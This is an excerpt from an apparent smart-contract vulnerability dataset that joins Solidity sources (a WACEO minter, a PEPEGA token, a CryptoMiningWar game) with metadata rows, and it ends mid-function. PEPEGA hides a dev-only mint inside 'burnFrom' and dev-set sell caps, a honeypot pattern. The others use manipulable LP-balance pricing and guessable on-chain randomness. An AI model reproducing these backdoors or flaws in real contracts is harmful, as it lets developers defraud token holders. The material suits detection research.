}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Minter is Ownable {
using SafeMath for uint256;
enum MANAGING {
Waceo,
BaseToken,
Treasury,
Base_Waceo_LP,
Max_Ammount
}
event Mint_Basic(address indexed recipient, uint256 amount);
event Mint_Single(uint256 amount);
event Mint_Double(uint256 amount, address indexed token, address lp);
event DistributeBasicMint(address indexed recipient, uint256 amount);
event DistributeSingleMint(uint256 amount);
event DistributeDoubleMint(uint256 amount, address indexed token, address lp);
address public Waceo;
address public Treasury;
address public BaseToken;
address public Base_Waceo_LP;
uint256 public maxAmount = 1000000000000000;
struct Distribution {
address _address;
uint256 _amount;
}
struct BasicRequest {
address sender;
uint256 amount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
struct SingleAutoAllocationRequest {
uint256 amount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
struct DoubleAutoAllocationRequest {
uint256 amount;
address token;
address lp;
address sender;
uint256 waceoAmount;
uint256 createDate;
uint256 updateDate;
bool isApproved;
bool isDeclined;
bool active;
}
bool distributionEnabled;
Distribution private LP_Controller;
Distribution private Founding_Team;
Distribution private WACEO_LP_Rewards;
Distribution private WACEO_Operational;
Distribution private WACEO_Dev;
Distribution private WACEO_Regulations;
Distribution private WACEO_Unrekt;
mapping(address => BasicRequest) public basic_mintRequests;
mapping(address => SingleAutoAllocationRequest) public single_autoAllocation_mintRequests;
mapping(address => DoubleAutoAllocationRequest) public double_autoAllocation_mintRequests;
constructor(address _waceo,
address _treasury,
address _baseToken,
address _base_waceo_lp) Ownable() {
Waceo = _waceo;
Treasury = _treasury;
BaseToken = _baseToken;
Base_Waceo_LP = _base_waceo_lp;
}
function validateDistribution(Distribution memory _distribution) internal pure returns(bool){
if(_distribution._amount > 0 &&
_distribution._amount < 100000000000 &&
_distribution._address != address(0)){
return true;
}else {
return false;
}
}
function mint_basic (address _address,
uint256 _amount) external returns (bool){
require(_amount > 0 && _amount <= maxAmount, "Wrong amount");
require(_address != address(0), "Wrong address");
basic_mintRequests[msg.sender] = BasicRequest({
sender: _address,
amount: _amount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Basic(_address, _amount);
return true;
}
function mint_auto_allocate_single (uint256 _amount) external returns (bool){
require(_amount > 0 && _amount <= maxAmount, "Wrong amount");
single_autoAllocation_mintRequests[msg.sender] = SingleAutoAllocationRequest({
amount: _amount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Single(_amount);
return true;
}
function mint_auto_allocate_double (uint256 _amount,
address _token,
address _lp) external returns (bool){
require(_amount > 0, "Wrong token amount");
require(_token != address(0), "Wrong token address");
if(_token != BaseToken){
require(_lp != address(0), "Wrong LP address");
}
uint256 _waceoAmount = waceoValueByToken(_token, _lp, _amount);
require(_waceoAmount > 0 && _waceoAmount <= maxAmount, "Wrong WACEO amount");
double_autoAllocation_mintRequests[msg.sender] = DoubleAutoAllocationRequest({
amount: _amount,
token: _token,
lp: _lp,
sender: msg.sender,
waceoAmount: _waceoAmount,
createDate: block.timestamp,
updateDate: 0,
isApproved: false,
isDeclined: false,
active: true
});
emit Mint_Double(_amount, _token, _lp);
return true;
}
function distribute_basic_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(basic_mintRequests[_address].active, "There are no requests from the _address");
require(basic_mintRequests[_address].isApproved == false, "The request already approved");
require(basic_mintRequests[_address].isDeclined == false, "The request already declined");
BasicRequest storage request = basic_mintRequests[_address];
if(_approve){
IERC20(Waceo).mint(request.sender, request.amount);
request.isApproved = true;
}else{
request.isDeclined = true;
}
request.updateDate = block.timestamp;
emit DistributeBasicMint(request.sender, request.amount);
return true;
}
function distribute_single_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(distributionEnabled, "Distribution not enabled");
require(single_autoAllocation_mintRequests[_address].active, "There are no requests from the _address");
require(single_autoAllocation_mintRequests[_address].isApproved == false, "The request already approved");
require(single_autoAllocation_mintRequests[_address].isDeclined == false, "The request already declined");
uint256 _amount = single_autoAllocation_mintRequests[_address].amount;
if(_approve){
uint256 _LP_Controller_Value = _amount.mul(LP_Controller._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _Founding_Team_Value = _amount.mul(Founding_Team._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_LP_Rewards_Value = _amount.mul(WACEO_LP_Rewards._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Operational_Value = _amount.mul(WACEO_Operational._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Dev_Value = _amount.mul(WACEO_Dev._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Regulations_Value = _amount.mul(WACEO_Regulations._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Unrekt_Value = _amount.mul(WACEO_Unrekt._amount).div(10**IERC20(Waceo).decimals()).div(100);
IERC20(Waceo).mint(LP_Controller._address, _LP_Controller_Value);
IERC20(Waceo).mint(Founding_Team._address, _Founding_Team_Value);
IERC20(Waceo).mint(WACEO_LP_Rewards._address, _WACEO_LP_Rewards_Value);
IERC20(Waceo).mint(WACEO_Operational._address, _WACEO_Operational_Value);
IERC20(Waceo).mint(WACEO_Dev._address, _WACEO_Dev_Value);
IERC20(Waceo).mint(WACEO_Regulations._address, _WACEO_Regulations_Value);
IERC20(Waceo).mint(WACEO_Unrekt._address, _WACEO_Unrekt_Value);
single_autoAllocation_mintRequests[_address].isApproved = true;
}else{
single_autoAllocation_mintRequests[_address].isDeclined = true;
}
single_autoAllocation_mintRequests[_address].updateDate = block.timestamp;
emit DistributeSingleMint(_amount);
return true;
}
function distribute_double_mint(address _address, bool _approve) external onlyOwner returns(bool){
require(distributionEnabled, "Distribution not enabled");
require(double_autoAllocation_mintRequests[_address].active, "There are no requests from the _address");
require(double_autoAllocation_mintRequests[_address].isApproved == false, "The request already approved");
require(double_autoAllocation_mintRequests[_address].isDeclined == false, "The request already approved");
DoubleAutoAllocationRequest storage request = double_autoAllocation_mintRequests[_address];
if(_approve){
uint256 _amount = request.waceoAmount;
uint256 _LP_Controller_Value = _amount.mul(LP_Controller._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _Founding_Team_Value = _amount.mul(Founding_Team._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_LP_Rewards_Value = _amount.mul(WACEO_LP_Rewards._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Operational_Value = _amount.mul(WACEO_Operational._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Dev_Value = _amount.mul(WACEO_Dev._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Regulations_Value = _amount.mul(WACEO_Regulations._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _WACEO_Unrekt_Value = _amount.mul(WACEO_Unrekt._amount).div(10**IERC20(Waceo).decimals()).div(100);
uint256 _value = request.amount.mul(10** IERC20(request.token).decimals()).div(10** IERC20(Waceo).decimals());
require(IERC20(request.token).allowance(request.sender, address(this)) >= _value, "Insufficient allowance");
IERC20(request.token).transferFrom(request.sender, Treasury, _value);
IERC20(Waceo).mint(request.sender, _amount);
IERC20(Waceo).mint(LP_Controller._address, _LP_Controller_Value);
IERC20(Waceo).mint(Founding_Team._address, _Founding_Team_Value);
IERC20(Waceo).mint(WACEO_LP_Rewards._address, _WACEO_LP_Rewards_Value);
IERC20(Waceo).mint(WACEO_Operational._address, _WACEO_Operational_Value);
IERC20(Waceo).mint(WACEO_Dev._address, _WACEO_Dev_Value);
IERC20(Waceo).mint(WACEO_Regulations._address, _WACEO_Regulations_Value);
IERC20(Waceo).mint(WACEO_Unrekt._address, _WACEO_Unrekt_Value);
request.isApproved = true;
}else{
request.isDeclined = true;
}
request.updateDate = block.timestamp;
emit DistributeDoubleMint(request.amount, request.token, request.lp);
return true;
}
function setContract (MANAGING _managing,
address _address,
uint256 _amount) external onlyOwner returns(bool) {
require(_address != address(0), "Wrong address");
if (_managing == MANAGING.Waceo) { // 0
Waceo = _address;
} else if (_managing == MANAGING.BaseToken) { // 1
BaseToken = _address;
} else if (_managing == MANAGING.Treasury) { // 2
Treasury = _address;
} else if (_managing == MANAGING.Base_Waceo_LP) { // 3
Base_Waceo_LP = _address;
} else if (_managing == MANAGING.Max_Ammount) { // 4
require(_amount > 0, "Wrong amount");
maxAmount = _amount;
}
return(true);
}
function setDistribution(Distribution memory _lp_controller,
Distribution memory _founding_team,
Distribution memory _waceo_lp_rewards,
Distribution memory _waceo_operational,
Distribution memory _waceo_dev,
Distribution memory _waceo_regulations,
Distribution memory _waceo_unrekt) external onlyOwner returns (bool){
require(validateDistribution(_lp_controller), "LP_Controller: Wrong values");
require(validateDistribution(_founding_team), "Founding_Team: Wrong values");
require(validateDistribution(_waceo_lp_rewards), "WACEO_LP_Rewards: Wrong values");
require(validateDistribution(_waceo_operational), "WACEO_Operational: Wrong values");
require(validateDistribution(_waceo_dev), "WACEO_Dev: Wrong values");
require(validateDistribution(_waceo_regulations), "WACEO_Regulations: Wrong values");
require(validateDistribution(_waceo_unrekt), "WACEO_Unrekt: Wrong values");
LP_Controller = _lp_controller;
Founding_Team = _founding_team;
WACEO_LP_Rewards = _waceo_lp_rewards;
WACEO_Operational = _waceo_operational;
WACEO_Dev = _waceo_dev;
WACEO_Regulations = _waceo_regulations;
WACEO_Unrekt = _waceo_unrekt;
distributionEnabled = true;
return(true);
}
function waceoValueByToken(address _token, address _lp, uint256 _amount) public view returns (uint256 value_) {
require(_token != address(0), "Wrong token address");
require(_amount > 0, "Wrong amount");
uint256 _baseAmount = _amount;
uint256 _waceoValueInBaseToken = waceoValueInBaseToken();
if(_token != BaseToken){
uint256 _baseValue = IERC20(BaseToken).balanceOf(_lp).div(10**IERC20(BaseToken).decimals()).mul(10**IERC20(Waceo).decimals());
uint256 _tokenValue = IERC20(_token).balanceOf(_lp).div(10**IERC20(_token).decimals()).mul(10**IERC20(Waceo).decimals());
uint256 _tokenValueInBaseToken = _baseValue.mul(10**IERC20(Waceo).decimals()).div(_tokenValue);
_baseAmount = _tokenValueInBaseToken.mul(_amount).div(10**IERC20(Waceo).decimals());
}
value_ = _baseAmount.mul(10** IERC20(Waceo).decimals()).div(_waceoValueInBaseToken);
}
function waceoValueInBaseToken() public view returns (uint256 price_) {
uint256 _baseValue = IERC20(BaseToken).balanceOf(Base_Waceo_LP).div(10**IERC20(BaseToken).decimals()).mul(10**IERC20(Waceo).decimals());
uint256 _waceoValue = IERC20(Waceo).balanceOf(Base_Waceo_LP);
price_ = _baseValue.mul(10**IERC20(Waceo).decimals()).div(_waceoValue);
}
}
| 115,152 | 14,038 |
9f7e43a0b9a260c9aba7e6a4f68bb395f0f0c764dfbed0269e7f3b63f2748874
| 19,908 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/7d/7dbde96140375bcfe207477b467910c48949f53d_PEPEGA.sol
| 3,228 | 11,020 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PEPEGA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 27,598 | 14,039 |
eea98c9c5b34e29a4b35903ccce6844a7de9dc8cdb885660e637399f2bdf9452
| 22,460 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf84c61bb982041c030b8580d1634f00fffb89059.sol
| 5,720 | 20,699 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface MiniGameInterface {
function setupMiniGame(uint256 _miningWarRoundNumber, uint256 _miningWarDeadline) external;
function isContractMiniGame() external pure returns(bool _isContractMiniGame);
}
contract CryptoMiningWar is PullPayment {
bool public initialized = false;
uint256 public roundNumber = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public HALF_TIME = 8 hours;
uint256 public ROUND_TIME = 86400 * 7;
uint256 public prizePool = 0;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 10000;
uint256 randNonce = 0;
uint256 public totalContractMiniGame = 0;
mapping(uint256 => address) public contractsMiniGameAddress;
//miner info
mapping(uint256 => MinerData) private minerData;
uint256 private numberOfMiners;
// plyer info
mapping(address => PlayerData) public players;
//booster info
uint256 private numberOfBoosts;
mapping(uint256 => BoostData) private boostData;
//mini game contract info
mapping(address => bool) public miniGames;
uint256 private numberOfRank;
address[21] rankList;
address public sponsor;
uint256 public sponsorLevel;
address public administrator;
struct PlayerData {
uint256 roundNumber;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
uint256 referral_count;
uint256 noQuest;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
modifier isNotOver()
{
require(now <= deadline);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isCurrentRound()
{
require(players[msg.sender].roundNumber == roundNumber);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event eventDoQuest(uint clientNumber,
uint randomNumber);
constructor() public {
administrator = msg.sender;
numberOfMiners = 8;
numberOfBoosts = 5;
numberOfRank = 21;
//init miner data
// price, prod. limit
minerData[0] = MinerData(10, 10, 10); //lv1
minerData[1] = MinerData(100, 200, 2); //lv2
minerData[2] = MinerData(400, 800, 4); //lv3
minerData[3] = MinerData(1600, 3200, 8); //lv4
minerData[4] = MinerData(6400, 9600, 16); //lv5
minerData[5] = MinerData(25600, 38400, 32); //lv6
minerData[6] = MinerData(204800, 204800, 64); //lv7
minerData[7] = MinerData(1638400, 819200, 65536); //lv8
}
function () public payable
{
prizePool = SafeMath.add(prizePool, msg.value);
}
function startGame() public
{
require(msg.sender == administrator);
require(!initialized);
startNewRound();
initialized = true;
}
function addCrystal(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
uint256 crystals = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
PlayerData storage p = players[_addr];
p.crystals = SafeMath.add(p.crystals, crystals);
}
function subCrystal(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
updateCrystal(_addr);
uint256 crystals = SafeMath.mul(_value,CRTSTAL_MINING_PERIOD);
require(crystals <= players[_addr].crystals);
PlayerData storage p = players[_addr];
p.crystals = SafeMath.sub(p.crystals, crystals);
}
function addHashrate(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
PlayerData storage p = players[_addr];
p.hashrate = SafeMath.add(p.hashrate, _value);
}
function subHashrate(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber && players[_addr].hashrate >= _value);
PlayerData storage p = players[_addr];
p.hashrate = SafeMath.sub(p.hashrate, _value);
}
function setContractsMiniGame(address _contractMiniGameAddress) public
{
require(administrator == msg.sender);
MiniGameInterface MiniGame = MiniGameInterface(_contractMiniGameAddress);
bool isContractMiniGame = MiniGame.isContractMiniGame();
require(isContractMiniGame == true);
if (miniGames[_contractMiniGameAddress] == false) {
miniGames[_contractMiniGameAddress] = true;
contractsMiniGameAddress[totalContractMiniGame] = _contractMiniGameAddress;
totalContractMiniGame = totalContractMiniGame + 1;
}
}
function removeContractMiniGame(address _contractMiniGameAddress) public
{
require(administrator == msg.sender);
miniGames[_contractMiniGameAddress] = false;
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
roundNumber = SafeMath.add(roundNumber, 1);
initData();
setupMiniGame();
}
function setupMiniGame() private
{
for (uint256 index = 0; index < totalContractMiniGame; index++) {
if (miniGames[contractsMiniGameAddress[index]] == true) {
MiniGameInterface MiniGame = MiniGameInterface(contractsMiniGameAddress[index]);
MiniGame.setupMiniGame(roundNumber,deadline);
}
}
}
function initData() private
{
sponsor = administrator;
sponsorLevel = 6;
//init booster data
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
for (uint256 idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public disableContract
{
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(prizePool, 90), 100);
uint256 devFee = SafeMath.div(SafeMath.mul(prizePool, 5), 100);
asyncSend(administrator, devFee);
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
uint256 totalPayment = 0;
uint256 rankPayment = 0;
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankPayment = SafeMath.div(SafeMath.mul(balance, profit[idx]),100);
asyncSend(rankList[idx], rankPayment);
totalPayment = SafeMath.add(totalPayment, rankPayment);
}
}
prizePool = SafeMath.add(devFee, SafeMath.sub(balance, totalPayment));
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
//sponser
function becomeSponsor() public isNotOver payable
{
require(msg.value >= getSponsorFee());
require(msg.sender != sponsor);
uint256 sponsorPrice = getCurrentPrice(sponsorLevel);
asyncSend(sponsor, sponsorPrice);
prizePool = SafeMath.add(prizePool, SafeMath.sub(msg.value, sponsorPrice));
sponsor = msg.sender;
sponsorLevel = SafeMath.add(sponsorLevel, 1);
}
function getSponsorFee() public view returns(uint256 sponsorFee)
{
sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1));
}
//--------------------------------------------------------------------------
// Miner
//--------------------------------------------------------------------------
function getFreeMiner() public disableContract isNotOver
{
require(players[msg.sender].roundNumber != roundNumber);
PlayerData storage p = players[msg.sender];
//reset player data
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
MinerData storage m0 = minerData[0];
p.crystals = 0;
p.roundNumber = roundNumber;
//free miner
p.lastUpdateTime = now;
p.referral_count = 0;
p.noQuest = 0;
p.minerCount[0] = 1;
p.hashrate = m0.baseProduct;
}
function doQuest(uint256 clientNumber) disableContract isCurrentRound isNotOver public
{
PlayerData storage p = players[msg.sender];
p.noQuest = SafeMath.add(p.noQuest, 1);
uint256 randomNumber = getRandomNumber(msg.sender);
if(clientNumber == randomNumber) {
p.referral_count = SafeMath.add(p.referral_count, 1);
}
emit eventDoQuest(clientNumber, randomNumber);
}
function buyMiner(uint256[] minerNumbers) public isNotOver isCurrentRound
{
require(minerNumbers.length == numberOfMiners);
uint256 minerIdx = 0;
MinerData memory m;
for (; minerIdx < numberOfMiners; minerIdx++) {
m = minerData[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){
revert();
}
}
updateCrystal(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 price = 0;
uint256 minerNumber = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price){
revert();
}
p.crystals = SafeMath.sub(p.crystals, price);
uint256 hashrate = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
uint256 currentMinerCount = p.minerCount[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
// calculate no hashrate you want buy
